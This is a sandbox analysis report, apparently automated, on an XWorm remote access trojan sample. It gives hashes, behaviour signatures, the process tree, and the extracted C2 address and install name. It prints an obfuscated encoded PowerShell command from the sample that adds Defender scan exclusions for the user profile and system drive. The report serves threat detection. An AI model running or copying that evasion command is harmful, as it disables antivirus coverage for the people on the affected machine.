Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
22/08/2026, 11:20
General
- Target baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe
- Size 169.4MB
- Sample260822-nfd3batdpc
- SHA256 baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93
Malware Config
Extracted
-
xworm
-
XWorm V6.5 by c3lestial.fun
-
64.188.66.196:64769
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BxWkuCoM18wm6Knx
-
install_file
USB.exe
Signatures
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe"C:\Users\Admin\AppData\Local\Temp\baf354a791ee0f5dc271c57ec5ee296568658e6294233c518ad425faa002eb93.exe"1⤵
- Checks computer location settings
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGcAZwBnACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAdgB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGcAaQBmACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAawB2ACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Roaming\-m.exe"C:\Users\Admin\AppData\Roaming\-m.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
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C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_ewzhfj13.x45.ps1
-m.exe
memory/4592-29-0x0000000006000000-0x0000000006032000-memory.dmp
memory/4592-38-0x0000000006040000-0x000000000605E000-memory.dmp
memory/4592-14-0x00000000051F0000-0x0000000005212000-memory.dmp
memory/4592-15-0x0000000005350000-0x00000000053B6000-memory.dmp
memory/4592-16-0x00000000053C0000-0x0000000005426000-memory.dmp
memory/4592-12-0x0000000000CB0000-0x0000000000CE6000-memory.dmp
memory/4592-24-0x0000000005430000-0x0000000005784000-memory.dmp
memory/4592-25-0x0000000005A50000-0x0000000005A6E000-memory.dmp
memory/4592-26-0x0000000005AE0000-0x0000000005B2C000-memory.dmp
memory/4592-39-0x0000000006C70000-0x0000000006D13000-memory.dmp
memory/4592-13-0x0000000004BC0000-0x00000000051E8000-memory.dmp
memory/4592-48-0x0000000006FF0000-0x0000000006FF8000-memory.dmp
memory/4592-30-0x0000000070290000-0x00000000702DC000-memory.dmp
memory/4592-40-0x00000000073C0000-0x0000000007A3A000-memory.dmp
memory/4592-41-0x0000000006D70000-0x0000000006D8A000-memory.dmp
memory/4592-42-0x0000000006DE0000-0x0000000006DEA000-memory.dmp
memory/4592-43-0x0000000007000000-0x0000000007096000-memory.dmp
memory/4592-44-0x0000000006F70000-0x0000000006F81000-memory.dmp
memory/4592-45-0x0000000006FB0000-0x0000000006FBE000-memory.dmp
memory/4592-46-0x0000000006FC0000-0x0000000006FD4000-memory.dmp
memory/4592-47-0x00000000070A0000-0x00000000070BA000-memory.dmp
memory/4756-11-0x0000000000E10000-0x0000000000E1E000-memory.dmp